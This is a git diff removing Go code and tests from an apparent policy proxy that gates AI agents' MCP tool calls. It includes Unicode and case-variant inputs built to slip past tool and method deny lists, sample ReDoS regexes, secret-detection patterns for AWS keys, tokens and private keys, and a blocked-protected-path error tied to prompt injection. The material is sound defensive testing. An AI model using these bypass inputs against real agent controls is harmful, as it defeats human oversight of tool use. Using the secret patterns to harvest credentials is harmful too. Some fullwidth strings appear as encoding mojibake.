ο½ο½
",
- expected: "delete",
- },
- {
- name: "fullwidth with underscore",
- input: "ο½ο½
ο½ο½
ο½ο½
οΌΏο½ο½ο½ο½
ο½",
- expected: "delete_files",
- },
- {
- name: "fullwidth uppercase",
- input: "οΌ€οΌ₯οΌ¬οΌ₯οΌ΄οΌ₯",
- expected: "delete",
- },
- {
- name: "mixed fullwidth and ASCII",
- input: "deleteο½ο½ο½ο½
ο½",
- expected: "deletefiles",
- },
-
- // Ligatures
- {
- name: "fi ligature",
- input: "ο¬le_read",
- expected: "file_read",
- },
- {
- name: "fl ligature",
- input: "ο¬ag_set",
- expected: "flag_set",
- },
- {
- name: "ffi ligature",
- input: "coο¬ee",
- expected: "coffiee", // ο¬ expands to "ffi" (3 chars)
- },
-
- // Superscripts and subscripts
- {
- name: "superscript 2",
- input: "toolΒ²",
- expected: "tool2",
- },
- {
- name: "subscript 1",
- input: "toolβ",
- expected: "tool1",
- },
-
- // Zero-width and invisible characters
- {
- name: "zero-width space",
- input: "delete\u200Bfiles",
- expected: "deletefiles",
- },
- {
- name: "zero-width non-joiner",
- input: "delete\u200Cfiles",
- expected: "deletefiles",
- },
- {
- name: "byte order mark",
- input: "\uFEFFdelete_files",
- expected: "delete_files",
- },
- {
- name: "soft hyphen",
- input: "delete\u00ADfiles",
- expected: "deletefiles",
- },
-
- // Path-like inputs (MCP methods)
- {
- name: "method path",
- input: "tools/call",
- expected: "tools/call",
- },
- {
- name: "fullwidth method path",
- input: "ο½ο½ο½ο½ο½οΌο½ο½ο½ο½",
- expected: "tools/call",
- },
- {
- name: "resources/read attack",
- input: "ο½ο½
ο½ο½ο½ο½ο½ο½
ο½οΌο½ο½
ο½ο½",
- expected: "resources/read",
- },
-
- // Edge cases
- {
- name: "empty string",
- input: "",
- expected: "",
- },
- {
- name: "only whitespace",
- input: " ",
- expected: "",
- },
- {
- name: "numbers unchanged",
- input: "tool123",
- expected: "tool123",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result := NormalizeName(tt.input)
- if result != tt.expected {
- t.Errorf("NormalizeName(%q) = %q, want %q", tt.input, result, tt.expected)
- }
- })
- }
-}
-
-// TestUnicodeBypassPrevention verifies that Unicode attacks are blocked.
-func TestUnicodeBypassPrevention(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: unicode-test
-spec:
- allowed_tools:
- - delete_files
- - read_file
- denied_methods:
- - resources/read
-`
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Tool bypass attempts - all should be treated as "delete_files"
- toolAttacks := []struct {
- name string
- tool string
- allowed bool
- }{
- {"normal", "delete_files", true},
- {"uppercase", "DELETE_FILES", true},
- {"fullwidth", "ο½ο½
ο½ο½
ο½ο½
οΌΏο½ο½ο½ο½
ο½", true},
- {"zero-width space", "delete\u200Bfiles", false}, // becomes "deletefiles", not in list
- {"fi ligature", "ο¬le_read", false}, // becomes "file_read", not in list
-
- // These should be blocked (not in allowed_tools)
- {"unknown tool", "dangerous_tool", false},
- {"fullwidth unknown", "ο½ο½ο½ο½ο½
ο½ο½ο½ο½", false},
- }
-
- for _, tt := range toolAttacks {
- t.Run("tool:"+tt.name, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, nil)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsAllowed(%q) = %v, want %v (normalized to %q)",
- tt.tool, decision.Allowed, tt.allowed, NormalizeName(tt.tool))
- }
- })
- }
-
- // Method bypass attempts - resources/read should be denied
- methodAttacks := []struct {
- name string
- method string
- allowed bool
- }{
- {"normal tools/call", "tools/call", true},
- {"fullwidth tools/call", "ο½ο½ο½ο½ο½οΌο½ο½ο½ο½", true},
- {"resources/read blocked", "resources/read", false},
- {"fullwidth resources/read", "ο½ο½
ο½ο½ο½ο½ο½ο½
ο½οΌο½ο½
ο½ο½", false},
- {"uppercase resources/read", "RESOURCES/READ", false},
- }
-
- for _, tt := range methodAttacks {
- t.Run("method:"+tt.name, func(t *testing.T) {
- decision := engine.IsMethodAllowed(tt.method)
- if decision.Allowed != tt.allowed {
- t.Errorf("IsMethodAllowed(%q) = %v, want %v (normalized to %q)",
- tt.method, decision.Allowed, tt.allowed, NormalizeName(tt.method))
- }
- })
- }
-}
-
-// TestNormalizeNameConsistency verifies that normalization is consistent.
-func TestNormalizeNameConsistency(t *testing.T) {
- // All these should normalize to the same value
- variants := []string{
- "delete_files",
- "DELETE_FILES",
- "Delete_Files",
- "ο½ο½
ο½ο½
ο½ο½
οΌΏο½ο½ο½ο½
ο½",
- " delete_files ",
- }
-
- expected := NormalizeName(variants[0])
- for _, v := range variants[1:] {
- result := NormalizeName(v)
- if result != expected {
- t.Errorf("NormalizeName(%q) = %q, expected %q (same as first variant)",
- v, result, expected)
- }
- }
-}
diff --git a/implementations/go-proxy/pkg/policy/safere.go b/implementations/go-proxy/pkg/policy/safere.go
deleted file mode 100644
index 4c9874c..0000000
--- a/implementations/go-proxy/pkg/policy/safere.go
+++ /dev/null
@@ -1,137 +0,0 @@
-// Package policy implements the AIP policy engine for tool call authorization.
-package policy
-
-import (
- "context"
- "fmt"
- "regexp"
- "time"
-)
-
-// DefaultRegexTimeout is the maximum time allowed for regex compilation.
-// This prevents ReDoS (Regular Expression Denial of Service) attacks where
-// a malicious policy file contains a pathological regex pattern.
-const DefaultRegexTimeout = 100 * time.Millisecond
-
-// SafeCompile compiles a regex pattern with a timeout to prevent ReDoS.
-//
-// ReDoS Attack Prevention:
-//
-// Certain regex patterns exhibit exponential time complexity when matched
-// against crafted input. A malicious actor could include such patterns in
-// a policy file to cause CPU exhaustion:
-//
-// Evil patterns (DO NOT USE):
-// - ^(a+)+$ Nested quantifiers
-// - ^([a-zA-Z]+)*$ Nested quantifiers with alternation
-// - (a|aa)+$ Overlapping alternatives
-//
-// While these patterns might compile quickly, they can hang on input like
-// "aaaaaaaaaaaaaaaaaaaaax". This function provides a timeout on compilation
-// as a first line of defense.
-//
-// NOTE: This protects against compile-time issues but not all match-time
-// ReDoS. For full protection, consider using a regex engine with RE2
-// semantics (like Go's regexp) which guarantees linear-time matching.
-// Go's regexp package already uses RE2, so match-time ReDoS is not a concern.
-//
-// Parameters:
-// - pattern: The regex pattern to compile
-// - timeout: Maximum time to wait for compilation (0 = DefaultRegexTimeout)
-//
-// Returns:
-// - Compiled *regexp.Regexp on success
-// - Error if compilation fails or times out
-//
-// Example:
-//
-// re, err := SafeCompile(`^https://github\.com/.*`, 0)
-// if err != nil {
-// return fmt.Errorf("invalid regex: %w", err)
-// }
-func SafeCompile(pattern string, timeout time.Duration) (*regexp.Regexp, error) {
- if timeout == 0 {
- timeout = DefaultRegexTimeout
- }
-
- ctx, cancel := context.WithTimeout(context.Background(), timeout)
- defer cancel()
-
- type compileResult struct {
- re *regexp.Regexp
- err error
- }
- resultCh := make(chan compileResult, 1)
-
- go func() {
- re, err := regexp.Compile(pattern)
- resultCh <- compileResult{re, err}
- }()
-
- select {
- case result := <-resultCh:
- if result.err != nil {
- return nil, fmt.Errorf("regex compile error: %w", result.err)
- }
- return result.re, nil
- case <-ctx.Done():
- return nil, fmt.Errorf("regex compile timeout after %v (possible ReDoS pattern): %s", timeout, pattern)
- }
-}
-
-// MustSafeCompile is like SafeCompile but panics on error.
-// Use only for patterns known at compile time (constants).
-func MustSafeCompile(pattern string) *regexp.Regexp {
- re, err := SafeCompile(pattern, DefaultRegexTimeout)
- if err != nil {
- panic(err)
- }
- return re
-}
-
-// ValidateRegexComplexity performs basic heuristic checks on a regex pattern
-// to detect potentially problematic patterns before compilation.
-//
-// This is a best-effort check that catches common ReDoS patterns:
-// - Nested quantifiers: (a+)+, (a*)+, (a+)*, etc.
-// - Excessive alternation depth
-// - Very long patterns (potential for complexity)
-//
-// Returns nil if the pattern passes checks, error describing the issue otherwise.
-//
-// NOTE: This is NOT a comprehensive ReDoS detector. It's a heuristic to catch
-// obvious cases. Go's RE2-based regexp engine provides the real protection
-// by guaranteeing linear-time matching. This check is an additional layer.
-func ValidateRegexComplexity(pattern string) error {
- // Check for excessive length (arbitrary limit, adjust as needed)
- const maxPatternLength = 1000
- if len(pattern) > maxPatternLength {
- return fmt.Errorf("regex pattern exceeds maximum length (%d > %d)", len(pattern), maxPatternLength)
- }
-
- // Check for nested quantifiers (common ReDoS pattern)
- // These patterns look for quantified groups followed by outer quantifiers:
- // (something+)+ or (something*)+ etc.
- //
- // We look for: ) followed by a quantifier (+, *, {n}) followed by another quantifier
- // This is a simplified heuristic - real nested quantifier detection is complex.
- //
- // Pattern explanation:
- // \)[+*?] - Close paren followed by quantifier
- // [+*?] - Followed by another quantifier
- //
- // This catches: (a+)+, (a*)+, (a+)*, (a?)+ etc.
- nestedQuantifierRe := regexp.MustCompile(`\)[+*?]\s*[+*?]`)
- if nestedQuantifierRe.MatchString(pattern) {
- return fmt.Errorf("regex contains potentially dangerous nested quantifiers: %s", pattern)
- }
-
- // Also check for repetition of groups with quantifiers: (...+)+ pattern
- // This matches: (anything ending with + or *) followed by + or *
- groupedNestedRe := regexp.MustCompile(`\([^)]*[+*]\)[+*]`)
- if groupedNestedRe.MatchString(pattern) {
- return fmt.Errorf("regex contains potentially dangerous nested quantifiers: %s", pattern)
- }
-
- return nil
-}
diff --git a/implementations/go-proxy/pkg/policy/safere_test.go b/implementations/go-proxy/pkg/policy/safere_test.go
deleted file mode 100644
index 50e1483..0000000
--- a/implementations/go-proxy/pkg/policy/safere_test.go
+++ /dev/null
@@ -1,205 +0,0 @@
-package policy
-
-import (
- "testing"
- "time"
-)
-
-func TestSafeCompile_ValidPatterns(t *testing.T) {
- validPatterns := []string{
- `^https://github\.com/.*`,
- `^SELECT\s+.*`,
- `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`,
- `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`,
- `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`,
- `^(staging|prod)$`,
- `^/api/.*`,
- }
-
- for _, pattern := range validPatterns {
- t.Run(pattern[:min(20, len(pattern))], func(t *testing.T) {
- re, err := SafeCompile(pattern, 0)
- if err != nil {
- t.Errorf("SafeCompile(%q) failed: %v", pattern, err)
- }
- if re == nil {
- t.Errorf("SafeCompile(%q) returned nil regex", pattern)
- }
- })
- }
-}
-
-func TestSafeCompile_InvalidPatterns(t *testing.T) {
- invalidPatterns := []struct {
- name string
- pattern string
- }{
- {"unclosed bracket", `[invalid`},
- {"unclosed paren", `(unclosed`},
- {"invalid repetition", `a**`},
- {"unmatched paren", `a)b`},
- {"bad escape in class", `[\c]`},
- }
-
- for _, tt := range invalidPatterns {
- t.Run(tt.name, func(t *testing.T) {
- re, err := SafeCompile(tt.pattern, 0)
- if err == nil {
- t.Errorf("SafeCompile(%q) should fail", tt.pattern)
- }
- if re != nil {
- t.Errorf("SafeCompile(%q) should return nil regex on error", tt.pattern)
- }
- })
- }
-}
-
-func TestSafeCompile_Timeout(t *testing.T) {
- // Test with very short timeout - even simple patterns might timeout
- // This tests the timeout mechanism, not actual ReDoS
- pattern := `^simple$`
-
- // Should succeed with reasonable timeout
- re, err := SafeCompile(pattern, 100*time.Millisecond)
- if err != nil {
- t.Errorf("SafeCompile with 100ms timeout failed: %v", err)
- }
- if re == nil {
- t.Error("Expected non-nil regex")
- }
-}
-
-func TestSafeCompile_DefaultTimeout(t *testing.T) {
- // Test that passing 0 uses default timeout
- pattern := `^test$`
- re, err := SafeCompile(pattern, 0) // 0 = use default
- if err != nil {
- t.Errorf("SafeCompile with default timeout failed: %v", err)
- }
- if re == nil {
- t.Error("Expected non-nil regex")
- }
-}
-
-func TestMustSafeCompile_Success(t *testing.T) {
- // Should not panic for valid patterns
- defer func() {
- if r := recover(); r != nil {
- t.Errorf("MustSafeCompile panicked unexpectedly: %v", r)
- }
- }()
-
- re := MustSafeCompile(`^valid$`)
- if re == nil {
- t.Error("Expected non-nil regex")
- }
-}
-
-func TestMustSafeCompile_Panic(t *testing.T) {
- // Should panic for invalid patterns
- defer func() {
- if r := recover(); r == nil {
- t.Error("MustSafeCompile should have panicked for invalid pattern")
- }
- }()
-
- MustSafeCompile(`[invalid`)
-}
-
-func TestValidateRegexComplexity_Valid(t *testing.T) {
- validPatterns := []string{
- `^https://.*`,
- `[a-z]+`,
- `\d{3}-\d{2}-\d{4}`,
- `(?i)password`,
- }
-
- for _, pattern := range validPatterns {
- t.Run(pattern, func(t *testing.T) {
- err := ValidateRegexComplexity(pattern)
- if err != nil {
- t.Errorf("ValidateRegexComplexity(%q) unexpected error: %v", pattern, err)
- }
- })
- }
-}
-
-func TestValidateRegexComplexity_TooLong(t *testing.T) {
- // Create a pattern longer than 1000 chars
- longPattern := "^"
- for i := 0; i < 1001; i++ {
- longPattern += "a"
- }
- longPattern += "$"
-
- err := ValidateRegexComplexity(longPattern)
- if err == nil {
- t.Error("ValidateRegexComplexity should reject very long patterns")
- }
-}
-
-func TestValidateRegexComplexity_NestedQuantifiers(t *testing.T) {
- // These patterns have nested quantifiers that can cause ReDoS
- dangerousPatterns := []string{
- `(a+)+`,
- `(a*)+`,
- `(a+)*`,
- `(a*)*`,
- }
-
- for _, pattern := range dangerousPatterns {
- t.Run(pattern, func(t *testing.T) {
- err := ValidateRegexComplexity(pattern)
- if err == nil {
- t.Errorf("ValidateRegexComplexity(%q) should detect nested quantifiers", pattern)
- }
- })
- }
-}
-
-// TestSafeCompile_RealWorldPatterns tests patterns from actual agent.yaml examples
-func TestSafeCompile_RealWorldPatterns(t *testing.T) {
- realWorldPatterns := []struct {
- name string
- pattern string
- }{
- {"email", `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- {"aws_key", `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- {"generic_secret", `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`},
- {"ssn", `\b\d{3}-\d{2}-\d{4}\b`},
- {"credit_card", `\b(?:\d{4}[- ]?){3}\d{4}\b`},
- {"github_token", `ghp_[a-zA-Z0-9]{36}`},
- {"private_key", `-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----`},
- {"github_url", `^https://github\.com/.*`},
- {"select_query", `^SELECT\s+.*`},
- {"safe_commands", `^(ls|cat|echo|pwd)\s.*`},
- {"api_endpoint", `^https://api\.github\.com/.*`},
- {"http_method", `^(GET|POST)$`},
- {"environment", `^(staging|prod)$`},
- }
-
- for _, tt := range realWorldPatterns {
- t.Run(tt.name, func(t *testing.T) {
- // First validate complexity
- if err := ValidateRegexComplexity(tt.pattern); err != nil {
- t.Logf("Complexity warning for %s: %v", tt.name, err)
- }
-
- // Then compile with timeout
- re, err := SafeCompile(tt.pattern, 0)
- if err != nil {
- t.Errorf("SafeCompile failed for %s: %v", tt.name, err)
- }
- if re == nil {
- t.Errorf("SafeCompile returned nil for %s", tt.name)
- }
- })
- }
-}
-
-func min(a, b int) int {
- if a < b {
- return a
- }
- return b
-}
diff --git a/implementations/go-proxy/pkg/protocol/types.go b/implementations/go-proxy/pkg/protocol/types.go
deleted file mode 100644
index d552026..0000000
--- a/implementations/go-proxy/pkg/protocol/types.go
+++ /dev/null
@@ -1,425 +0,0 @@
-// Package protocol defines JSON-RPC 2.0 message structures for MCP communication.
-//
-// The AIP proxy intercepts MCP traffic, which uses JSON-RPC 2.0 as its transport
-// protocol. These types allow us to decode incoming messages, inspect them for
-// policy enforcement, and construct appropriate responses when blocking requests.
-//
-// JSON-RPC 2.0 Specification: https://www.jsonrpc.org/specification
-// MCP Specification: https://modelcontextprotocol.io/specification
-package protocol
-
-import (
- "encoding/json"
- "strings"
-)
-
-// -----------------------------------------------------------------------------
-// JSON-RPC 2.0 Core Types
-// -----------------------------------------------------------------------------
-
-// Request represents a JSON-RPC 2.0 request message.
-//
-// In the MCP protocol, the client (agent) sends requests to invoke server methods.
-// The proxy intercepts these requests to apply policy checks before forwarding
-// to the target MCP server.
-//
-// Example MCP tool call request:
-//
-// {
-// "jsonrpc": "2.0",
-// "id": 1,
-// "method": "tools/call",
-// "params": {
-// "name": "github_create_issue",
-// "arguments": {"repo": "myrepo", "title": "Bug"}
-// }
-// }
-type Request struct {
- // JSONRPC must be exactly "2.0" per specification.
- JSONRPC string `json:"jsonrpc"`
-
- // ID is the request identifier. Can be string, number, or null.
- // Used to correlate responses with requests.
- // Notifications (requests without ID) do not expect a response.
- ID json.RawMessage `json:"id,omitempty"`
-
- // Method is the name of the RPC method to invoke.
- // MCP uses methods like "tools/list", "tools/call", "resources/read", etc.
- Method string `json:"method"`
-
- // Params contains method-specific parameters.
- // Stored as raw JSON to allow flexible parsing based on method type.
- Params json.RawMessage `json:"params,omitempty"`
-}
-
-// Response represents a JSON-RPC 2.0 response message.
-//
-// The proxy constructs error responses when blocking forbidden tool calls,
-// preventing the request from reaching the target server.
-type Response struct {
- // JSONRPC must be exactly "2.0" per specification.
- JSONRPC string `json:"jsonrpc"`
-
- // ID must match the request ID this response corresponds to.
- // For error responses to blocked requests, we echo back the original ID.
- ID json.RawMessage `json:"id,omitempty"`
-
- // Result contains the method's return value on success.
- // Mutually exclusive with Error.
- Result json.RawMessage `json:"result,omitempty"`
-
- // Error contains error information on failure.
- // Mutually exclusive with Result.
- Error *Error `json:"error,omitempty"`
-}
-
-// Error represents a JSON-RPC 2.0 error object.
-//
-// Standard error codes (from spec):
-// - -32700: Parse error
-// - -32600: Invalid Request
-// - -32601: Method not found
-// - -32602: Invalid params
-// - -32603: Internal error
-//
-// AIP-specific error codes (custom range -32000 to -32099):
-// - -32001: Forbidden - Policy denied the tool call
-// - -32002: Rate limited
-// - -32003: Session expired
-type Error struct {
- // Code is a number indicating the error type.
- Code int `json:"code"`
-
- // Message is a short description of the error.
- Message string `json:"message"`
-
- // Data contains additional information about the error.
- // Optional and may contain any JSON value.
- Data any `json:"data,omitempty"`
-}
-
-// -----------------------------------------------------------------------------
-// MCP-Specific Parameter Types
-// -----------------------------------------------------------------------------
-
-// ToolCallParams represents the parameters for a "tools/call" method.
-//
-// When the proxy sees method="tools/call", it unmarshals Params into this
-// struct to extract the tool name for policy checking.
-type ToolCallParams struct {
- // Name is the identifier of the tool being invoked.
- // This is the primary field used for policy enforcement.
- // Examples: "github_create_issue", "postgres_query", "slack_post_message"
- Name string `json:"name"`
-
- // Arguments contains tool-specific parameters.
- // The proxy does not inspect these for basic allow/deny decisions,
- // but future versions may support argument-level constraints.
- Arguments json.RawMessage `json:"arguments,omitempty"`
-}
-
-// -----------------------------------------------------------------------------
-// AIP Error Codes
-// -----------------------------------------------------------------------------
-
-const (
- // ErrCodeForbidden indicates the policy engine denied the request.
- // Returned when a tool call is blocked by agent.yaml policy.
- ErrCodeForbidden = -32001
-
- // ErrCodeRateLimited indicates the agent exceeded rate limits.
- ErrCodeRateLimited = -32002
-
- // ErrCodeSessionExpired indicates the agent's session has expired.
- ErrCodeSessionExpired = -32003
-
- // ErrCodeUserDenied indicates the user explicitly denied the request.
- // Returned when a tool call with action="ask" was rejected by the user.
- ErrCodeUserDenied = -32004
-
- // ErrCodeUserTimeout indicates the user did not respond in time.
- // Returned when a tool call with action="ask" timed out waiting for user input.
- ErrCodeUserTimeout = -32005
-
- // ErrCodeMethodNotAllowed indicates the JSON-RPC method is not permitted.
- // Returned when a method is blocked by the allowed_methods/denied_methods policy.
- // This is the first line of defense against MCP method bypass attacks.
- ErrCodeMethodNotAllowed = -32006
-
- // ErrCodeProtectedPath indicates a tool attempted to access a protected path.
- // This is a security-critical error indicating potential policy tampering
- // or credential theft attempt.
- ErrCodeProtectedPath = -32007
-
- // ErrCodeTokenRequired indicates an identity token is required but not provided.
- // New in AIP v1alpha2.
- ErrCodeTokenRequired = -32008
-
- // ErrCodeTokenInvalid indicates the identity token validation failed.
- // New in AIP v1alpha2.
- ErrCodeTokenInvalid = -32009
-
- // ErrCodePolicySignatureInvalid indicates the policy signature is invalid.
- // New in AIP v1alpha2.
- ErrCodePolicySignatureInvalid = -32010
-)
-
-// -----------------------------------------------------------------------------
-// Constructor Functions
-// -----------------------------------------------------------------------------
-
-// NewForbiddenError creates a JSON-RPC error response for blocked tool calls.
-//
-// This is the primary response type used when the policy engine denies a request.
-// The error includes details about which tool was blocked to aid debugging.
-func NewForbiddenError(requestID json.RawMessage, toolName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeForbidden,
- Message: "Forbidden",
- Data: map[string]string{
- "tool": toolName,
- "reason": "Tool not in allowed_tools list",
- },
- },
- }
-}
-
-// NewArgumentError creates a JSON-RPC error response for argument validation failures.
-//
-// This is used when a tool is allowed but an argument fails regex validation.
-// The error includes the specific argument that failed for debugging.
-func NewArgumentError(requestID json.RawMessage, toolName, argName, pattern string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeForbidden,
- Message: "Argument validation failed",
- Data: map[string]string{
- "tool": toolName,
- "arg": argName,
- "pattern": pattern,
- "reason": "Argument validation failed for " + argName,
- },
- },
- }
-}
-
-// NewParseError creates a JSON-RPC error response for malformed messages.
-func NewParseError(requestID json.RawMessage, detail string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: -32700,
- Message: "Parse error",
- Data: detail,
- },
- }
-}
-
-// NewUserDeniedError creates a JSON-RPC error response when user denies a tool call.
-//
-// This is used when a tool with action="ask" is rejected by the user
-// via the native OS dialog prompt.
-func NewUserDeniedError(requestID json.RawMessage, toolName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeUserDenied,
- Message: "User denied",
- Data: map[string]string{
- "tool": toolName,
- "reason": "User explicitly denied the tool call via approval dialog",
- },
- },
- }
-}
-
-// NewUserTimeoutError creates a JSON-RPC error response when user approval times out.
-//
-// This is used when a tool with action="ask" does not receive user input
-// within the configured timeout period (default: 60 seconds).
-func NewUserTimeoutError(requestID json.RawMessage, toolName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeUserTimeout,
- Message: "User approval timeout",
- Data: map[string]string{
- "tool": toolName,
- "reason": "User did not respond to approval dialog within timeout",
- },
- },
- }
-}
-
-// NewRateLimitedError creates a JSON-RPC error response for rate limit exceeded.
-//
-// This is used when a tool call exceeds its configured rate limit.
-// The agent should back off and retry later.
-func NewRateLimitedError(requestID json.RawMessage, toolName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeRateLimited,
- Message: "Rate limit exceeded",
- Data: map[string]string{
- "tool": toolName,
- "reason": "Rate limit exceeded for " + toolName + ". Try again later.",
- },
- },
- }
-}
-
-// NewMethodNotAllowedError creates a JSON-RPC error response for blocked methods.
-//
-// This is used when a JSON-RPC method (not tool) is blocked by policy.
-// Examples: resources/read, prompts/get when not explicitly allowed.
-//
-// This is the first line of defense against MCP method bypass attacks where
-// an attacker might try to use methods that aren't subject to tool-level checks.
-func NewMethodNotAllowedError(requestID json.RawMessage, method string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeMethodNotAllowed,
- Message: "Method not allowed",
- Data: map[string]string{
- "method": method,
- "reason": "Method '" + method + "' is not in allowed_methods. Add it to your policy to permit this method.",
- },
- },
- }
-}
-
-// NewProtectedPathError creates a JSON-RPC error response for protected path access.
-//
-// This is a SECURITY-CRITICAL error indicating the agent attempted to access
-// a protected file path (e.g., ~/.ssh, policy file, credentials). This may
-// indicate a prompt injection attack or policy tampering attempt.
-//
-// The error intentionally does NOT reveal which paths are protected to avoid
-// leaking security configuration to potential attackers.
-func NewProtectedPathError(requestID json.RawMessage, toolName, protectedPath string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeProtectedPath,
- Message: "Access denied: protected path",
- Data: map[string]string{
- "tool": toolName,
- "reason": "The requested operation would access a protected path. This action has been blocked and logged for security review.",
- },
- },
- }
-}
-
-// NewTokenRequiredError creates a JSON-RPC error response when identity token is required.
-//
-// This is used when spec.identity.require_token is true and no token was provided.
-// New in AIP v1alpha2.
-func NewTokenRequiredError(requestID json.RawMessage, toolName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeTokenRequired,
- Message: "Token required",
- Data: map[string]string{
- "tool": toolName,
- "reason": "Identity token required for this policy",
- },
- },
- }
-}
-
-// NewTokenInvalidError creates a JSON-RPC error response when token validation fails.
-//
-// This is used when a token is provided but fails validation (expired, policy changed, etc.).
-// New in AIP v1alpha2.
-func NewTokenInvalidError(requestID json.RawMessage, toolName, tokenError string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodeTokenInvalid,
- Message: "Token invalid",
- Data: map[string]string{
- "tool": toolName,
- "reason": "Token validation failed: " + tokenError,
- "token_error": tokenError,
- },
- },
- }
-}
-
-// NewPolicySignatureError creates a JSON-RPC error response when policy signature is invalid.
-//
-// This is used when the policy file has a signature that doesn't verify.
-// New in AIP v1alpha2.
-func NewPolicySignatureError(requestID json.RawMessage, policyName string) *Response {
- return &Response{
- JSONRPC: "2.0",
- ID: requestID,
- Error: &Error{
- Code: ErrCodePolicySignatureInvalid,
- Message: "Policy signature invalid",
- Data: map[string]string{
- "policy": policyName,
- "reason": "Policy signature verification failed",
- },
- },
- }
-}
-
-// IsToolCall checks if a request is a tool invocation that needs policy checking.
-// Uses case-insensitive comparison to prevent bypass via "Tools/Call" or "TOOLS/CALL".
-func (r *Request) IsToolCall() bool {
- return strings.EqualFold(r.Method, "tools/call")
-}
-
-// GetToolName extracts the tool name from a tools/call request.
-// Returns empty string if params cannot be parsed or name is missing.
-func (r *Request) GetToolName() string {
- if !r.IsToolCall() {
- return ""
- }
-
- var params ToolCallParams
- if err := json.Unmarshal(r.Params, ¶ms); err != nil {
- return ""
- }
- return params.Name
-}
-
-// GetToolArgs extracts the tool arguments from a tools/call request.
-// Returns nil if params cannot be parsed or arguments are missing.
-func (r *Request) GetToolArgs() map[string]any {
- if !r.IsToolCall() {
- return nil
- }
-
- var params ToolCallParams
- if err := json.Unmarshal(r.Params, ¶ms); err != nil {
- return nil
- }
-
- if params.Arguments == nil {
- return make(map[string]any)
- }
-
- var args map[string]any
- if err := json.Unmarshal(params.Arguments, &args); err != nil {
- return nil
- }
- return args
-}
diff --git a/implementations/go-proxy/pkg/protocol/types_test.go b/implementations/go-proxy/pkg/protocol/types_test.go
deleted file mode 100644
index 4c65610..0000000
--- a/implementations/go-proxy/pkg/protocol/types_test.go
+++ /dev/null
@@ -1,230 +0,0 @@
-// Package protocol tests for JSON-RPC message handling.
-package protocol
-
-import (
- "encoding/json"
- "testing"
-)
-
-// TestIsToolCallCaseInsensitive verifies that IsToolCall() is case-insensitive.
-//
-// SECURITY: This test prevents CVE-like bypass attacks where an attacker
-// sends "Tools/Call" or "TOOLS/CALL" to bypass policy enforcement.
-// The method name must be matched case-insensitively per JSON-RPC convention.
-func TestIsToolCallCaseInsensitive(t *testing.T) {
- testCases := []struct {
- method string
- want bool
- }{
- // Standard lowercase - should match
- {"tools/call", true},
- // Mixed case variants - MUST match (security critical)
- {"Tools/Call", true},
- {"TOOLS/CALL", true},
- {"Tools/call", true},
- {"tools/Call", true},
- {"TOOLS/call", true},
- {"tools/CALL", true},
- // Non-matching methods - should not match
- {"tools/list", false},
- {"resources/read", false},
- {"", false},
- {"toolscall", false},
- {"tools call", false},
- }
-
- for _, tc := range testCases {
- t.Run(tc.method, func(t *testing.T) {
- req := &Request{Method: tc.method}
- got := req.IsToolCall()
- if got != tc.want {
- t.Errorf("IsToolCall() for method %q = %v, want %v", tc.method, got, tc.want)
- }
- })
- }
-}
-
-// TestGetToolName verifies tool name extraction from requests.
-func TestGetToolName(t *testing.T) {
- testCases := []struct {
- name string
- req *Request
- want string
- }{
- {
- name: "valid tools/call",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`{"name": "github_get_repo", "arguments": {}}`),
- },
- want: "github_get_repo",
- },
- {
- name: "tools/call with mixed case method",
- req: &Request{
- Method: "Tools/Call",
- Params: json.RawMessage(`{"name": "dangerous_tool"}`),
- },
- want: "dangerous_tool",
- },
- {
- name: "non-tools/call method",
- req: &Request{
- Method: "tools/list",
- Params: json.RawMessage(`{"name": "should_not_extract"}`),
- },
- want: "",
- },
- {
- name: "invalid params JSON",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`invalid json`),
- },
- want: "",
- },
- {
- name: "missing name field",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`{"arguments": {}}`),
- },
- want: "",
- },
- }
-
- for _, tc := range testCases {
- t.Run(tc.name, func(t *testing.T) {
- got := tc.req.GetToolName()
- if got != tc.want {
- t.Errorf("GetToolName() = %q, want %q", got, tc.want)
- }
- })
- }
-}
-
-// TestGetToolArgs verifies argument extraction from requests.
-func TestGetToolArgs(t *testing.T) {
- testCases := []struct {
- name string
- req *Request
- wantNil bool
- wantKeys []string
- }{
- {
- name: "valid args",
- req: &Request{
- Method: "tools/call",
- Params: json.RawMessage(`{"name": "test", "arguments": {"path": "/tmp", "mode": "read"}}`),
- },
- wantNil: false,
